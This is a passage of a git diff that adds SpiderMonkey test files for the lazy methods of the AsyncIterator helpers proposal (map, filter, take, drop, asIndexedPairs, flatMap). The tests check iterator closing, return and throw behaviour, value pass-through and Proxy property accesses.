+ iter => iter.flatMap(fn),
+];
+
+for (const method of methods) {
+ const iter = new TestAsyncIterator();
+ assertEq(iter.closed, false);
+ method(iter).next().then(
+ _ => assertEq(true, false, 'Expected reject'),
+ err => {
+ assertEq(err instanceof TestError, true);
+ assertEq(iter.closed, true);
+ },
+ );
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
+
diff --git a/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-iterator-closed-on-yield-throws.js b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-iterator-closed-on-yield-throws.js
new file mode 100644
index 0000000000..bec857eb33
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-iterator-closed-on-yield-throws.js
@@ -0,0 +1,53 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+//
+//
+/*---
+esid: pending
+description: Lazy %AsyncIterator.prototype% methods close the iterator if `yield` throws.
+info: >
+ AsyncIterator Helpers proposal 2.1.6
+features: [iterator-helpers]
+---*/
+
+class TestError extends Error {}
+class TestAsyncIterator extends AsyncIterator {
+ async next() {
+ return {done: false, value: 1};
+ }
+
+ closed = false;
+ async return(value) {
+ this.closed = true;
+ return {done: true, value};
+ }
+}
+
+async function* gen(x) { yield x; }
+const methods = [
+ iter => iter.map(x => x),
+ iter => iter.filter(x => true),
+ iter => iter.take(1),
+ iter => iter.drop(0),
+ iter => iter.asIndexedPairs(),
+ iter => iter.flatMap(gen),
+];
+
+for (const method of methods) {
+ const iterator = new TestAsyncIterator();
+ const iteratorHelper = method(iterator);
+
+ assertEq(iterator.closed, false);
+ iteratorHelper.next().then(
+ _ => iteratorHelper.throw(new TestError()).then(
+ _ => assertEq(true, false, 'Expected reject'),
+ err => {
+ assertEq(err instanceof TestError, true);
+ assertEq(iterator.closed, true);
+ },
+ ),
+ );
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-iterator-not-closed-on-next-get-then-throws.js b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-iterator-not-closed-on-next-get-then-throws.js
new file mode 100644
index 0000000000..a9c8a6ebca
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-iterator-not-closed-on-next-get-then-throws.js
@@ -0,0 +1,57 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+//
+//
+/*---
+esid: pending
+description: Lazy %AsyncIterator.prototype% methods don't close the iterator if getting `then` throws.
+info: >
+ AsyncIterator Helpers proposal 2.1.6
+features: [iterator-helpers]
+---*/
+
+class TestError extends Error {}
+
+class TestIterator extends AsyncIterator {
+ next() {
+ return {
+ get then() {
+ throw new TestError();
+ }
+ };
+ }
+
+ closed = false;
+ async return(value) {
+ this.closed = true;
+ return {done: true, value};
+ }
+}
+
+const methods = [
+ ["map", x => x],
+ ["filter", x => true],
+ ["take", Infinity],
+ ["drop", 0],
+ ["asIndexedPairs", undefined],
+ ["flatMap", async function*(x) { yield x; }],
+];
+
+(async () => {
+ for (const [method, arg] of methods) {
+ const iterator = new TestIterator();
+ assertEq(iterator.closed, false);
+
+ try {
+ await iterator[method](arg).next();
+ assertEq(true, false, 'Expected exception');
+ } catch(err) {
+ console.log(err);
+ assertEq(err instanceof TestError, true);
+ }
+ assertEq(iterator.closed, false);
+ }
+})();
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-iterator-not-closed-on-next-promise-executor-throws.js b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-iterator-not-closed-on-next-promise-executor-throws.js
new file mode 100644
index 0000000000..838c381b17
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-iterator-not-closed-on-next-promise-executor-throws.js
@@ -0,0 +1,53 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+//
+//
+/*---
+esid: pending
+description: Lazy %AsyncIterator.prototype% methods don't close the iterator if executor of Promise returned by `.next` throws.
+info: >
+ AsyncIterator Helpers proposal 2.1.6
+features: [iterator-helpers]
+---*/
+
+class TestError extends Error {}
+class TestIterator extends AsyncIterator {
+ next() {
+ return new Promise((resolve, reject) => {
+ throw new TestError();
+ });
+ }
+
+ closed = false;
+ async return(value) {
+ this.closed = true;
+ return {done: true, value};
+ }
+}
+
+const methods = [
+ ["map", x => x],
+ ["filter", x => true],
+ ["take", Infinity],
+ ["drop", 0],
+ ["asIndexedPairs", undefined],
+ ["flatMap", async function*(x) { yield x; }],
+];
+
+(async () => {
+ for (const [method, arg] of methods) {
+ const iterator = new TestIterator();
+ assertEq(iterator.closed, false);
+
+ try {
+ await iterator[method](arg).next();
+ assertEq(true, false, 'Expected exception');
+ } catch(err) {
+ assertEq(err instanceof TestError, true);
+ }
+ assertEq(iterator.closed, false);
+ }
+})();
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-iterator-not-closed-on-next-returns-reject.js b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-iterator-not-closed-on-next-returns-reject.js
new file mode 100644
index 0000000000..65eede2a6b
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-iterator-not-closed-on-next-returns-reject.js
@@ -0,0 +1,51 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+//
+//
+/*---
+esid: pending
+description: Lazy %AsyncIterator.prototype% methods don't close the iterator if `.next` returns a rejected Promise.
+info: >
+ AsyncIterator Helpers proposal 2.1.6
+features: [iterator-helpers]
+---*/
+
+class TestError extends Error {}
+class TestIterator extends AsyncIterator {
+ next() {
+ return Promise.reject(new TestError());
+ }
+
+ closed = false;
+ async return(value) {
+ this.closed = true;
+ return {done: true, value};
+ }
+}
+
+const methods = [
+ ["map", x => x],
+ ["filter", x => true],
+ ["take", Infinity],
+ ["drop", 0],
+ ["asIndexedPairs", undefined],
+ ["flatMap", async function*(x) { yield x; }],
+];
+
+(async () => {
+ for (const [method, arg] of methods) {
+ const iterator = new TestIterator();
+ assertEq(iterator.closed, false);
+
+ try {
+ await iterator[method](arg).next();
+ assertEq(true, false, 'Expected exception');
+ } catch(err) {
+ assertEq(err instanceof TestError, true);
+ }
+ assertEq(iterator.closed, false);
+ }
+})();
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-iterator-not-closed-on-next-then-throws.js b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-iterator-not-closed-on-next-then-throws.js
new file mode 100644
index 0000000000..609a49c3c7
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-iterator-not-closed-on-next-then-throws.js
@@ -0,0 +1,57 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+//
+//
+/*---
+esid: pending
+description: Lazy %AsyncIterator.prototype% methods don't close the iterator if `then` returned by `next` throws.
+info: >
+ AsyncIterator Helpers proposal 2.1.6
+features: [iterator-helpers]
+---*/
+
+class TestError extends Error {}
+
+class TestIterator extends AsyncIterator {
+ next() {
+ return {
+ then() {
+ throw new TestError();
+ }
+ };
+ }
+
+ closed = false;
+ async return(value) {
+ this.closed = true;
+ return {done: true, value};
+ }
+}
+
+const methods = [
+ ["map", x => x],
+ ["filter", x => true],
+ ["take", Infinity],
+ ["drop", 0],
+ ["asIndexedPairs", undefined],
+ ["flatMap", async function*(x) { yield x; }],
+];
+
+(async () => {
+ for (const [method, arg] of methods) {
+ const iterator = new TestIterator();
+ assertEq(iterator.closed, false);
+
+ try {
+ await iterator[method](arg).next();
+ assertEq(true, false, 'Expected exception');
+ } catch(err) {
+ console.log(err);
+ assertEq(err instanceof TestError, true);
+ }
+ assertEq(iterator.closed, false);
+ }
+})();
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-iterator-not-closed-on-next-throws.js b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-iterator-not-closed-on-next-throws.js
new file mode 100644
index 0000000000..ff42a3f7b6
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-iterator-not-closed-on-next-throws.js
@@ -0,0 +1,49 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+//
+//
+/*---
+esid: pending
+description: Lazy %AsyncIterator.prototype% methods don't close the iterator if `.next` call throws.
+info: >
+ AsyncIterator Helpers proposal 2.1.6
+features: [iterator-helpers]
+---*/
+
+class TestError extends Error {}
+class TestAsyncIterator extends AsyncIterator {
+ next() {
+ throw new TestError();
+ }
+
+ closed = false;
+ async return(value) {
+ this.closed = true;
+ return {done: true, value};
+ }
+}
+
+async function* gen(x) { yield x; }
+const methods = [
+ iter => iter.map(x => x),
+ iter => iter.filter(x => x),
+ iter => iter.take(1),
+ iter => iter.drop(0),
+ iter => iter.asIndexedPairs(),
+ iter => iter.flatMap(gen),
+];
+
+for (const method of methods) {
+ const iterator = new TestAsyncIterator();
+ assertEq(iterator.closed, false);
+ method(iterator).next().then(
+ _ => assertEq(true, false, 'Expected reject'),
+ err => {
+ assertEq(err instanceof TestError, true);
+ assertEq(iterator.closed, false);
+ },
+ );
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-iterator-not-closed-on-value-throws.js b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-iterator-not-closed-on-value-throws.js
new file mode 100644
index 0000000000..1578070553
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-iterator-not-closed-on-value-throws.js
@@ -0,0 +1,54 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+//
+//
+/*---
+esid: pending
+description: Lazy %AsyncIterator.prototype% methods don't close the iterator if `value` throws.
+info: >
+ AsyncIterator Helpers proposal 2.1.6
+features: [iterator-helpers]
+---*/
+
+class TestError extends Error {}
+class TestAsyncIterator extends AsyncIterator {
+ async next() {
+ return {
+ get value() {
+ throw new TestError();
+ }
+ };
+ }
+
+ closed = false;
+ async return(value) {
+ this.closed = true;
+ return {done: true, value};
+ }
+}
+
+const iterator = new TestAsyncIterator();
+
+async function* gen(x) { yield x; }
+const methods = [
+ iter => iter.map(x => x),
+ iter => iter.filter(x => x),
+ iter => iter.take(1),
+ iter => iter.drop(0),
+ iter => iter.asIndexedPairs(),
+ iter => iter.flatMap(gen),
+];
+
+for (const method of methods) {
+ assertEq(iterator.closed, false);
+ method(iterator).next().then(
+ _ => assertEq(true, false, 'Expected reject'),
+ err => {
+ assertEq(err instanceof TestError, true);
+ assertEq(iterator.closed, false);
+ },
+ );
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-iterator-returns-done-generator-finishes.js b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-iterator-returns-done-generator-finishes.js
new file mode 100644
index 0000000000..d7e2be8f5d
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-iterator-returns-done-generator-finishes.js
@@ -0,0 +1,30 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+class TestIterator extends AsyncIterator {
+ async next() {
+ return {done: true, value: 'value'};
+ }
+}
+
+async function* gen(x) { yield x; }
+
+const methods = [
+ iter => iter.map(x => x),
+ iter => iter.filter(x => true),
+ iter => iter.take(1),
+ iter => iter.drop(0),
+ iter => iter.asIndexedPairs(),
+ iter => iter.flatMap(gen),
+];
+
+(async () => {
+ for (const method of methods) {
+ const iterator = method(new TestIterator());
+ const {done, value} = await iterator.next();
+ assertEq(done, true);
+ assertEq(value, undefined);
+ }
+})();
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-multiple-return-close-iterator-once.js b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-multiple-return-close-iterator-once.js
new file mode 100644
index 0000000000..4ccb6fd4b1
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-multiple-return-close-iterator-once.js
@@ -0,0 +1,64 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+//
+//
+/*---
+esid: pending
+description: Calling `.return()` on a lazy %AsyncIterator.prototype% method multiple times closes the source iterator once.
+info: >
+ Iterator Helpers proposal 2.1.6
+features: [iterator-helpers]
+---*/
+
+class TestIterator extends AsyncIterator {
+ async next() {
+ return {done: false, value: 1};
+ }
+
+ closeCount = 0;
+ async return(value) {
+ this.closeCount++;
+ return {done: true, value};
+ }
+}
+
+async function* gen(x) { yield x; }
+
+const methods = [
+ iter => iter.map(x => x),
+ iter => iter.filter(x => x),
+ iter => iter.take(1),
+ iter => iter.drop(0),
+ iter => iter.asIndexedPairs(),
+ iter => iter.flatMap(gen),
+];
+
+(async () => {
+ // Call `return` after stepping the iterator once:
+ for (const method of methods) {
+ const iter = new TestIterator();
+ const iterHelper = method(iter);
+
+ await iterHelper.next();
+ assertEq(iter.closeCount, 0);
+ await iterHelper.return();
+ assertEq(iter.closeCount, 1);
+ await iterHelper.return();
+ assertEq(iter.closeCount, 1);
+ }
+
+ // Call `return` before stepping the iterator:
+ for (const method of methods) {
+ const iter = new TestIterator();
+ const iterHelper = method(iter);
+
+ assertEq(iter.closeCount, 0);
+ await iterHelper.return();
+ assertEq(iter.closeCount, 1);
+ await iterHelper.return();
+ assertEq(iter.closeCount, 1);
+ }
+})();
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-multiple-throw-close-iterator-once.js b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-multiple-throw-close-iterator-once.js
new file mode 100644
index 0000000000..45e88be26a
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-multiple-throw-close-iterator-once.js
@@ -0,0 +1,90 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+//
+//
+/*---
+esid: pending
+description: Calling `throw` on a lazy %AsyncIterator.prototype% method multiple times closes the source iterator once.
+info: >
+ Iterator Helpers proposal 2.1.6
+features: [iterator-helpers]
+---*/
+
+class TestError extends Error {}
+
+class TestIterator extends AsyncIterator {
+ async next() {
+ return {done: false, value: 1};
+ }
+
+ closeCount = 0;
+ async return(value) {
+ this.closeCount++;
+ return {done: true, value};
+ }
+}
+
+async function* gen(x) { yield x; }
+
+const methods = [
+ iter => iter.map(x => x),
+ iter => iter.filter(x => true),
+ iter => iter.take(Infinity),
+ iter => iter.drop(0),
+ iter => iter.asIndexedPairs(),
+ iter => iter.flatMap(gen),
+];
+
+(async () => {
+ // Call `throw` after stepping the iterator once:
+ for (const method of methods) {
+ const iter = new TestIterator();
+ const iterHelper = method(iter);
+
+ await iterHelper.next()
+ assertEq(iter.closeCount, 0);
+
+ try {
+ await iterHelper.throw(new TestError());
+ assertEq(true, false, 'Expected reject');
+ } catch (exc) {
+ assertEq(exc instanceof TestError, true);
+ }
+ assertEq(iter.closeCount, 1);
+
+ try {
+ await iterHelper.throw(new TestError());
+ assertEq(true, false, 'Expected reject');
+ } catch (exc) {
+ assertEq(exc instanceof TestError, true);
+ }
+ assertEq(iter.closeCount, 1);
+ }
+
+ // Call `throw` before stepping the iterator:
+ for (const method of methods) {
+ const iter = new TestIterator();
+ const iterHelper = method(iter);
+
+ assertEq(iter.closeCount, 0);
+
+ try {
+ await iterHelper.throw(new TestError());
+ assertEq(true, false, 'Expected reject');
+ } catch (exc) {
+ assertEq(exc instanceof TestError, true);
+ }
+ assertEq(iter.closeCount, 1);
+
+ try {
+ await iterHelper.throw(new TestError());
+ assertEq(true, false, 'Expected reject');
+ } catch (exc) {
+ assertEq(exc instanceof TestError, true);
+ }
+ assertEq(iter.closeCount, 1);
+ }
+})();
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-mutate-iterator-after-done.js b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-mutate-iterator-after-done.js
new file mode 100644
index 0000000000..b9a37234a8
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-mutate-iterator-after-done.js
@@ -0,0 +1,49 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+//
+//
+
+/*---
+esid: pending
+description: %AsyncIterator.prototype% methods ignore iterator mutation if already done.
+info: >
+ Iterator Helpers proposal 2.1.6
+features: [iterator-helpers]
+---*/
+
+class TestIterator extends AsyncIterator {
+ values = [1, 2];
+ async next() {
+ if (this.values.length == 0)
+ return {done: true};
+ return {done: false, value: this.values.shift()};
+ }
+}
+
+function check({done, value}, expectedDone, expectedValue) {
+ assertEq(done, expectedDone);
+ assertEq(Array.isArray(value) ? value[1] : value, expectedValue);
+}
+
+const methods = [
+ ['map', x => x],
+ ['filter', x => true],
+ ['take', Infinity],
+ ['drop', 0],
+ ['asIndexedPairs', undefined],
+ ['flatMap', async function*(x) { yield x; }],
+];
+
+for (const [method, arg] of methods) {
+ (async () => {
+ const iter = new TestIterator();
+ const iterHelper = iter[method](arg);
+ check(await iterHelper.next(), false, 1);
+ check(await iterHelper.next(), false, 2);
+ check(await iterHelper.next(), true, undefined);
+ iter.values.push(3);
+ check(await iterHelper.next(), true, undefined);
+ })();
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-mutate-iterator.js b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-mutate-iterator.js
new file mode 100644
index 0000000000..876990d945
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-mutate-iterator.js
@@ -0,0 +1,49 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+//
+//
+
+/*---
+esid: pending
+description: %AsyncIterator.prototype% methods work properly if the iterator has been mutated.
+info: >
+ Iterator Helpers proposal 2.1.6
+features: [iterator-helpers]
+---*/
+
+class TestIterator extends AsyncIterator {
+ values = [1, 2];
+ async next() {
+ if (this.values.length == 0)
+ return {done: true};
+ return {done: false, value: this.values.shift()};
+ }
+}
+
+function check({done, value}, expectedDone, expectedValue) {
+ assertEq(done, expectedDone);
+ assertEq(Array.isArray(value) ? value[1] : value, expectedValue);
+}
+
+const methods = [
+ ['map', x => x],
+ ['filter', x => true],
+ ['take', Infinity],
+ ['drop', 0],
+ ['asIndexedPairs', undefined],
+ ['flatMap', async function*(x) { yield x; }],
+];
+
+for (const [method, arg] of methods) {
+ (async () => {
+ const iter = new TestIterator();
+ const iterHelper = iter[method](arg);
+ check(await iterHelper.next(), false, 1);
+ check(await iterHelper.next(), false, 2);
+ iter.values.push(3);
+ check(await iterHelper.next(), false, 3);
+ check(await iterHelper.next(), true, undefined);
+ })();
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-not-close-iterator-next-reject.js b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-not-close-iterator-next-reject.js
new file mode 100644
index 0000000000..43d84ae17d
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-not-close-iterator-next-reject.js
@@ -0,0 +1,48 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+//
+//
+/*---
+esid: pending
+description: Lazy %AsyncIterator.prototype% methods don't close the iterator if `next` returns rejected promise.
+info: >
+ AsyncIterator Helpers proposal 2.1.6
+features: [iterator-helpers]
+---*/
+
+class TestIterator extends AsyncIterator {
+ next() {
+ return Promise.reject('rejection');
+ }
+
+ closed = false;
+ async return(value) {
+ this.closed = true;
+ return {done: true, value};
+ }
+}
+
+async function* gen(x) { yield x; }
+const methods = [
+ iter => iter.map(x => x),
+ iter => iter.filter(x => x),
+ iter => iter.take(1),
+ iter => iter.drop(0),
+ iter => iter.asIndexedPairs(),
+ iter => iter.flatMap(gen),
+];
+
+for (const method of methods) {
+ const iterator = new TestIterator();
+ assertEq(iterator.closed, false);
+ method(iterator).next().then(
+ _ => assertEq(true, false, 'Expected reject'),
+ err => {
+ assertEq(err, 'rejection');
+ assertEq(iterator.closed, false);
+ },
+ );
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-pass-through-lastValue.js b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-pass-through-lastValue.js
new file mode 100644
index 0000000000..40da229ca6
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-pass-through-lastValue.js
@@ -0,0 +1,33 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+class TestAsyncIterator extends AsyncIterator {
+ async next(value) {
+ return {done: false, value};
+ }
+}
+
+const methods = [
+ iter => iter.map(x => x),
+ iter => iter.filter(x => true),
+ iter => iter.take(2),
+ iter => iter.drop(0),
+ iter => iter.asIndexedPairs(),
+];
+
+for (const method of methods) {
+ const iterator = new TestAsyncIterator();
+ const iteratorHelper = method(iterator);
+ iteratorHelper.next().then(
+ _ => iteratorHelper.next('last value').then(
+ ({done, value}) => {
+ assertEq(done, false);
+ // Unwrap the return value from asIndexedPairs.
+ assertEq(Array.isArray(value) ? value[1] : value, 'last value');
+ }
+ ),
+ );
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
+
diff --git a/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-pass-value-through-chain.js b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-pass-value-through-chain.js
new file mode 100644
index 0000000000..8b5506ee97
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-pass-value-through-chain.js
@@ -0,0 +1,38 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+class TestAsyncIterator extends AsyncIterator {
+ async next(value) {
+ return {done: false, value};
+ }
+}
+
+const methods = [
+ iter => iter.map(x => x),
+ iter => iter.filter(x => true),
+ iter => iter.take(2),
+ iter => iter.drop(0),
+ iter => iter.asIndexedPairs(),
+];
+
+for (const outerMethod of methods) {
+ for (const innerMethod of methods) {
+ const iterator = new TestAsyncIterator();
+ const iteratorChain = outerMethod(innerMethod(iterator));
+ iteratorChain.next().then(
+ _ => iteratorChain.next('last value').then(
+ ({done, value}) => {
+ assertEq(done, false);
+ // Unwrap the asIndexedPair return values.
+ while (Array.isArray(value)) {
+ value = value[1];
+ }
+ assertEq(value, 'last value');
+ }
+ ),
+ );
+ }
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
+
diff --git a/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-proxy-accesses.js b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-proxy-accesses.js
new file mode 100644
index 0000000000..5892a41e5b
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-proxy-accesses.js
@@ -0,0 +1,68 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+//
+
+/*---
+esid: pending
+description: Lazy %AsyncIterator.prototype% methods access specified properties only.
+info: >
+ Iterator Helpers proposal 2.1.6
+features: [iterator-helpers]
+---*/
+
+let log;
+const handlerProxy = new Proxy({}, {
+ get: (target, key, receiver) => (...args) => {
+ log.push(`${key}: ${args.filter(x => typeof x != 'object').map(x => x.toString())}`);
+ return Reflect[key](...args);
+ },
+});
+
+class TestIterator extends AsyncIterator {
+ value = 0;
+ async next() {
+ if (this.value < 1)
+ return new Proxy({done: false, value: this.value++}, handlerProxy);
+ return new Proxy({done: true, value: undefined}, handlerProxy);
+ }
+}
+
+const methods = [
+ ['map', x => x],
+ ['filter', x => true],
+ ['take', 4],
+ ['drop', 0],
+ ['asIndexedPairs', undefined],
+ ['flatMap', async function*(x) { yield x; }],
+];
+
+(async () => {
+ for (const [method, argument] of methods) {
+ log = [];
+ const iteratorProxy = new Proxy(new TestIterator(), handlerProxy);
+ const iteratorHelper = iteratorProxy[method](argument);
+
+ await iteratorHelper.next();
+ await iteratorHelper.next();
+ const {done} = await iteratorHelper.next();
+ assertEq(done, true);
+ assertEq(
+ log.join('\n'),
+ `get: ${method}
+get: next
+get: value
+get: value
+set: value,1
+getOwnPropertyDescriptor: value
+defineProperty: value
+get: then
+get: done
+get: value
+get: value
+get: then
+get: done`
+ );
+ }
+})();
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-return-closes-iterator.js b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-return-closes-iterator.js
new file mode 100644
index 0000000000..98a0902b75
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-return-closes-iterator.js
@@ -0,0 +1,63 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+//
+//
+/*---
+esid: pending
+description: Calling `return` on a lazy %AsyncIterator.prototype% method closes the source iterator.
+info: >
+ Iterator Helpers proposal 2.1.6
+features: [iterator-helpers]
+---*/
+
+class TestIterator extends AsyncIterator {
+ async next() {
+ return {done: false, value: 1};
+ }
+
+ closed = false;
+ async return(value) {
+ this.closed = true;
+ return {done: true, value};
+ }
+}
+
+async function* gen(x) { yield x; }
+
+const methods = [
+ iter => iter.map(x => x),
+ iter => iter.filter(x => x),
+ iter => iter.take(1),
+ iter => iter.drop(0),
+ iter => iter.asIndexedPairs(),
+ iter => iter.flatMap(gen),
+];
+
+for (const method of methods) {
+ const iter = new TestIterator();
+ const iterHelper = method(iter);
+
+ iterHelper.next().then(() => {
+ assertEq(iter.closed, false);
+ iterHelper.return(0).then(({done, value}) => {
+ assertEq(iter.closed, true);
+ assertEq(done, true);
+ assertEq(value, 0);
+ });
+ });
+}
+
+for (const method of methods) {
+ const iter = new TestIterator();
+ const iterHelper = method(iter);
+
+ assertEq(iter.closed, false);
+ iterHelper.return(0).then(({done, value}) => {
+ assertEq(iter.closed, true);
+ assertEq(done, true);
+ assertEq(value, 0);
+ });
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-return-new-iterator-result.js b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-return-new-iterator-result.js
new file mode 100644
index 0000000000..02cae2740d
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-return-new-iterator-result.js
@@ -0,0 +1,42 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+//
+//
+/*---
+esid: pending
+description: Lazy Iterator Helper methods return new iterator result objects.
+info: >
+ Iterator Helpers proposal 2.1.6
+features: [iterator-helpers]
+---*/
+
+const iterResult = {done: false, value: 1, testProperty: 'test'};
+class TestIterator extends AsyncIterator {
+ async next() {
+ return iterResult;
+ }
+}
+
+async function* gen(x) { yield x; }
+
+const methods = [
+ iter => iter.map(x => x),
+ iter => iter.filter(x => true),
+ iter => iter.take(1),
+ iter => iter.drop(0),
+ iter => iter.asIndexedPairs(),
+ iter => iter.flatMap(gen),
+];
+
+// Call `return` before stepping the iterator:
+for (const method of methods) {
+ const iter = new TestIterator();
+ const iterHelper = method(iter);
+ iterHelper.next().then(result => {
+ assertEq(result == iterResult, false);
+ assertEq(result.testProperty, undefined);
+ });
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-throw-closes-iterator-before-next.js b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-throw-closes-iterator-before-next.js
new file mode 100644
index 0000000000..4e9d9f6421
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-throw-closes-iterator-before-next.js
@@ -0,0 +1,58 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+//
+//
+/*---
+esid: pending
+description: Calling `throw` on a lazy %AsyncIterator.prototype% method closes the source iterator.
+info: >
+ Iterator Helpers proposal 2.1.6
+features: [iterator-helpers]
+---*/
+
+class TestError extends Error {}
+
+class TestIterator extends AsyncIterator {
+ async next() {
+ return {done: false, value: 1};
+ }
+
+ closed = false;
+ async return(value) {
+ this.closed = true;
+ return {done: true, value};
+ }
+}
+
+async function* gen(x) { yield x; }
+
+const methods = [
+ iter => iter.map(x => x),
+ iter => iter.filter(x => x),
+ iter => iter.take(1),
+ iter => iter.drop(0),
+ iter => iter.asIndexedPairs(),
+ iter => iter.flatMap(gen),
+];
+
+for (const method of methods) {
+ const iter = new TestIterator();
+ const iterHelper = method(iter);
+
+ assertEq(iter.closed, false);
+ iterHelper.throw(new TestError()).then(
+ _ => assertEq(true, false, 'Expected reject.'),
+ err => {
+ assertEq(err instanceof TestError, true);
+ assertEq(iter.closed, true);
+
+ iterHelper.next().then(({done, value}) => {
+ assertEq(done, true);
+ assertEq(value, undefined);
+ });
+ },
+ );
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-throw-eagerly-on-next-non-callable.js b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-throw-eagerly-on-next-non-callable.js
new file mode 100644
index 0000000000..489887d020
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-throw-eagerly-on-next-non-callable.js
